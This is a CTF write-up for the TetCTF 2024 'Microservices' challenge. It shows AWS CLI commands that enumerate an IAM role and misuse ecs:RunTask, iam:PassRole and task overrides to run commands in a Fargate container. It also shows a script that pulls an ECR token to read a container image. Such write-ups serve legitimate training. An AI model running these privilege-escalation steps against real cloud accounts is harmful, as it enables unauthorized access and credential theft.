> For the complete documentation index, see [llms.txt](https://kabinet.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kabinet.gitbook.io/ctf-writeup/2024/tetctf-2024/microservices.md).

# Microservices

<figure><img src="/files/I5Qwo4FxI5mPGG8Ufjdi" alt=""><figcaption></figcaption></figure>

From the description, we are given 2 critical information

1. UK Fintech, so we can assume that the reigion is eu-west-2 (London)
2. The role we will need to assume is `arn:aws:iam::543303393859:role/TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL`

***

Firstly, I assumed the role with the IAM Credentials from the previous challenge as I was lazy in creating my own IAM keys.

{% code overflow="wrap" %}

```
aws sts assume-role --role-arn arn:aws:iam::543303393859:role/TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL --role-session-name asd --profile tet
```

{% endcode %}

<figure><img src="/files/3x0M29JDLBcfnteEatd6" alt=""><figcaption></figcaption></figure>

I then run aws configure with the profile assume, and manually appended the session token into the credentials file.

<figure><img src="/files/GzGYLST9TfMb7sNjYOj4" alt=""><figcaption></figcaption></figure>

We are in with the assumed credentials and its working fine with the `sts get-caller-identity`

<figure><img src="/files/iWYayXUparch59smK2vu" alt=""><figcaption></figcaption></figure>

Firstly, I enumerate IAM Permissions that the role have.

{% code overflow="wrap" %}

```
aws iam list-role-policies --role-name TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL --profile assume
```

{% endcode %}

<figure><img src="/files/2qTqUIQzUTqBJIyc1Cy6" alt=""><figcaption></figcaption></figure>

Theres the EcsTaskRoleDefaultPolicy attached for the IAM role, and lets look into it.

{% code overflow="wrap" %}

```
aws iam get-role-policy --role-name TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL --policy-name EcsTaskRoleDefaultPolicy50882C77 --profile assume
```

{% endcode %}

```json
{
    "RoleName": "TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL",
    "PolicyName": "EcsTaskRoleDefaultPolicy50882C77",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "ecs:RunTask",
                "Resource": "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3",
                "Effect": "Allow"
            },
            {
                "Action": [
                    "iam:ListRolePolicies",
                    "iam:GetRolePolicy",
                    "ecs:ListClusters",
                    "ec2:DescribeSecurityGroups",
                    "ec2:DescribeSubnets"
                ],
                "Resource": "*",
                "Effect": "Allow"
            },
            {
                "Effect": "Allow",
                "Action": "iam:PassRole",
                "Resource": [
                    "arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25",
                    "arn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH"
                ]
            },
            {
                "Sid": "Statement1",
                "Effect": "Allow",
                "Action": [
                    "logs:GetLogEvents",
                    "logs:DescribeLogStreams",
                    "logs:DescribeLogGroups"
                ],
                "Resource": [
                    "arn:aws:logs:eu-west-2:543303393859:*"
                ]
            }
        ]
    }
}
```

Immidiately, a few thing stand out.

1. We are able to enumerate ECS, EC2, and able to execute ECS RunTask
2. We are able to PassRole, which probably has something to do when we execute RunTask
3. We are able to view cloudwatch logs

With that in mind, lets enumerate the ECS and EC2, and view the cloudwatch logs to see if theres any interesting artifacts.

```
aws ecs list-clusters --profile assume
```

<figure><img src="/files/ykmCd8LO9Qa9bUYoo7Hj" alt=""><figcaption></figcaption></figure>

```
aws ec2 describe-security-groups --profile assume
```

<pre class="language-json"><code class="lang-json"><strong>{
</strong>    "SecurityGroups": [
        {
            "Description": "Security Group for CTF ECS tasks",
            "GroupName": "TetCtf2Stack-CtfSecurityGroupA7633774-1DAGZMZKB7EY4",
            "IpPermissions": [],
            "OwnerId": "543303393859",
            "GroupId": "sg-0f6583e3532e99a62",
            "IpPermissionsEgress": [
                {
                    "FromPort": 252,
                    "IpProtocol": "icmp",
                    "IpRanges": [
                        {
                            "CidrIp": "255.255.255.255/32",
                            "Description": "Disallow all traffic"
                        }
                    ],
                    "Ipv6Ranges": [],
                    "PrefixListIds": [],
                    "ToPort": 86,
                    "UserIdGroupPairs": []
                }
            ],
            "Tags": [
                {
                    "Key": "aws:cloudformation:stack-name",
                    "Value": "TetCtf2Stack"
                },
                {
                    "Key": "aws:cloudformation:logical-id",
                    "Value": "CtfSecurityGroupA7633774"
                },
                {
                    "Key": "aws:cloudformation:stack-id",
                    "Value": "arn:aws:cloudformation:eu-west-2:543303393859:stack/TetCtf2Stack/54b3d720-bc03-11ee-9235-06cbbf25eaf7"
                }
            ],
            "VpcId": "vpc-07e8cd02a7c992f43"
        },
        {
            "Description": "default VPC security group",
            "GroupName": "default",
            "IpPermissions": [
                {
                    "IpProtocol": "-1",
                    "IpRanges": [],
                    "Ipv6Ranges": [],
                    "PrefixListIds": [],
                    "UserIdGroupPairs": [
                        {
                            "GroupId": "sg-2a62a941",
                            "UserId": "543303393859"
                        }
                    ]
                }
            ],
            "OwnerId": "543303393859",
            "GroupId": "sg-2a62a941",
            "IpPermissionsEgress": [
                {
                    "IpProtocol": "-1",
                    "IpRanges": [
                        {
                            "CidrIp": "0.0.0.0/0"
                        }
                    ],
                    "Ipv6Ranges": [],
                    "PrefixListIds": [],
                    "UserIdGroupPairs": []
                }
            ],
            "VpcId": "vpc-5744993f"
        },
        {
            "Description": "default VPC security group",
            "GroupName": "default",
            "IpPermissions": [],
            "OwnerId": "543303393859",
            "GroupId": "sg-0e0be2c862c2b3241",
            "IpPermissionsEgress": [],
            "VpcId": "vpc-07e8cd02a7c992f43"
        },
        {
            "Description": "GET FLAG",
            "GroupName": "TetCTF-GETFLAG",
            "IpPermissions": [],
            "OwnerId": "543303393859",
            "GroupId": "sg-0636ad23bae6f21e7",
            "IpPermissionsEgress": [
                {
                    "IpProtocol": "-1",
                    "IpRanges": [
                        {
                            "CidrIp": "0.0.0.0/0"
                        }
                    ],
                    "Ipv6Ranges": [],
                    "PrefixListIds": [],
                    "UserIdGroupPairs": []
                }
            ],
            "VpcId": "vpc-07e8cd02a7c992f43"
        }
    ]
}
</code></pre>

```
aws ec2 describe-subnets --profile assume (output redacted for brevity)
```

What we learned from the command that was ran above.

1. The cluster arn is `arn:aws:ecs:eu-west-2:543303393859:cluster/CtfEcsCluster`
2. There is a security group called `TetCTF-GETFLAG,`its vpc id is vpc-07e8cd02a7c992f43 and its group id is `sg-0636ad23bae6f21e7`

```bash
aws ec2 describe-subnets --filters "Name=vpc-id,Values=vpc-07e8cd02a7c992f43" --profile assume
```

3. Filtering based on the vpc-id, there are 4 subnets that we can use

Next, lets understand what does ECS Run Task perform.

Based on the AWS Documentation, the RunTask starts a new task using the specified task definition.

Looking at the policy statement, we are able to then craft out the command

```json
{
    "Action": "ecs:RunTask",
    "Resource": "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3",
    "Effect": "Allow"
}
```

```
aws ecs run-task --task-definition TetCtf2StackCtfTaskDefB40F186A:3 \
--cluster CtfEcsCluster \
--network-configuration "awsvpcConfiguration={subnets=[subnet-05dc4f12caf437c48],securityGroups=[sg-0636ad23bae6f21e7],assignPublicIp=ENABLED}" \
--launch-type FARGATE --profile assume 
```

We are able to see that the command run successfully, and able to get the output from the cloudwatch logs.

<figure><img src="/files/odvQpGzq2q25bBuI4Ap1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/qJD0x7B8MW0X5gPZ8NXN" alt=""><figcaption></figcaption></figure>

The output is a set of AWS credentials, being the credentials of the fargate instances

Looking back at the iam policy file, we have the `iam:PassRole` , so we will need to pass the role to the fargate instance

```
{
    "Effect": "Allow",
    "Action": "iam:PassRole",
    "Resource": [
        "arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25",
        "arn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH"
    ]
}
```

Based on the AWS Documentations, we are able to use the `-overrides` option to pass the role when spinning up the fargate instances.

<figure><img src="/files/uP0R9OfzXQVxHjf9Jp65" alt=""><figcaption></figcaption></figure>

But first, lets take a look at what those two role does.

{% code overflow="wrap" %}

```
aws iam list-role-policies --role-name TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25 --profile assume

aws iam get-role-policy --role-name TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25 --policy-name EcsExecutionRoleDefaultPolicy9114F99B --profile assume
```

{% endcode %}

<figure><img src="/files/hM7FmP9XJWBRXGQj2pCo" alt=""><figcaption></figcaption></figure>

```json
{
    "RoleName": "TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25",
    "PolicyName": "EcsExecutionRoleDefaultPolicy9114F99B",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "ecr:BatchCheckLayerAvailability",
                    "ecr:BatchGetImage",
                    "ecr:GetAuthorizationToken",
                    "ecr:GetDownloadUrlForLayer",
                    "logs:CreateLogStream",
                    "logs:PutLogEvents"
                ],
                "Resource": "*",
                "Effect": "Allow"
            },
            {
                "Action": [
                    "logs:CreateLogStream",
                    "logs:PutLogEvents"
                ],
                "Resource": "arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:*",
                "Effect": "Allow"
            }
        ]
    }
}
```

<figure><img src="/files/SHONSogWBc1pyZzymwVY" alt=""><figcaption></figcaption></figure>

We can see from the policy file that the role has `TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25` the permission to enumerate ECR and get the container information. Armed with the relevant information, we can craft our json file. While more research on `run-task` i came accross a interesting [article](https://spin.atomicobject.com/override-database-migration/) showing how you are able to override the command thats being ran via the `--overrides` flag. I also added the script into it to try and get an RCE.

```json
{
    "containerOverrides": [
        {
            "command": [
                "ls"
            ],
            "name": "CtfContainer"
        }
    ],
    "executionRoleArn": "arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25",
    "taskRoleArn": "arn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH"
}
```

```
aws ecs run-task --task-definition TetCtf2StackCtfTaskDefB40F186A:3 \
--cluster CtfEcsCluster \
--network-configuration "awsvpcConfiguration={subnets=[subnet-05dc4f12caf437c48],securityGroups=[sg-0636ad23bae6f21e7],assignPublicIp=ENABLED}" \
--overrides file://overrides.json \
--launch-type FARGATE --profile assume 
```

The command execute succesfully, and we are able to get RCE, which also contains the flag in the root folder.

{% code overflow="wrap" %}

```
aws logs describe-log-streams --log-group-name /ecs/tet-ctf --profile assume

aws logs get-log-events --log-group-name /ecs/tet-ctf --log-stream-name CtfContainer/CtfContainer/6433c096d8b74339bc83e79baf2ac2ec --profile assume
```

{% endcode %}

<figure><img src="/files/amWo1V6EXmj36gdQClFE" alt=""><figcaption></figcaption></figure>

yay i win and get flag.

## Alternate Solution

However, after the CTF and discussion in the #web channel, securisec shared his solution, which really make much more sense.

<figure><img src="/files/Uy7zreRkVkZFO9pim4dP" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/HROhCsHU5cyqF4YDSvgd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/PamqabuCOdlVDv6TlIGl" alt=""><figcaption></figcaption></figure>

So lets try to follow securisec method and get the flag from the ECR instead!

First, i removed the RCE command in my overrides.json, and get the keys from the log stream.

```
{
    "executionRoleArn": "arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25",
    "taskRoleArn": "arn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH"
}
```

<figure><img src="/files/hYKnWbFcy1qN4OdeP32N" alt=""><figcaption></figcaption></figure>

From the RunTask output, we also get the ECR URL.

<figure><img src="/files/EtTanfhr6ntPNnZx22SW" alt=""><figcaption></figcaption></figure>

Again, a quick sanity check to see if the credentials is working properly.

<figure><img src="/files/aZ72yvXrYAtajZMGQCUq" alt=""><figcaption></figcaption></figure>

Quick recap on the relevant permission

```
{
"Action": [
    "ecr:BatchCheckLayerAvailability",
    "ecr:BatchGetImage",
    "ecr:GetAuthorizationToken",
    "ecr:GetDownloadUrlForLayer",
    "logs:CreateLogStream",
    "logs:PutLogEvents"
],
"Resource": "*",
"Effect": "Allow"
}
```

I wrote a quick bash script to authenticate with the token.

<pre data-overflow="wrap"><code><strong>token=$(aws ecr get-authorization-token --profile fargate --output json | jq -r '.authorizationData[0].authorizationToken' | base64 -d | cut -d ":" -f 2)
</strong>
crane auth login 543303393859.dkr.ecr.eu-west-2.amazonaws.com --username AWS --password $token  
</code></pre>

<figure><img src="/files/DDXbpV2AiGvoahxwnoM2" alt=""><figcaption></figcaption></figure>

As we already have the image name from the run task output, I tried to get the config of the image, and we get flag!

<figure><img src="/files/OEL58H1zzJAEr1h9hj9e" alt=""><figcaption></figcaption></figure>

## Reference

<https://docs.aws.amazon.com/cli/latest/reference/ecs/run-task.html>

<https://stackoverflow.com/questions/41373167/how-to-run-aws-ecs-task-overriding-environment-variables>

<https://spin.atomicobject.com/override-database-migration/>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://kabinet.gitbook.io/ctf-writeup/2024/tetctf-2024/microservices.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
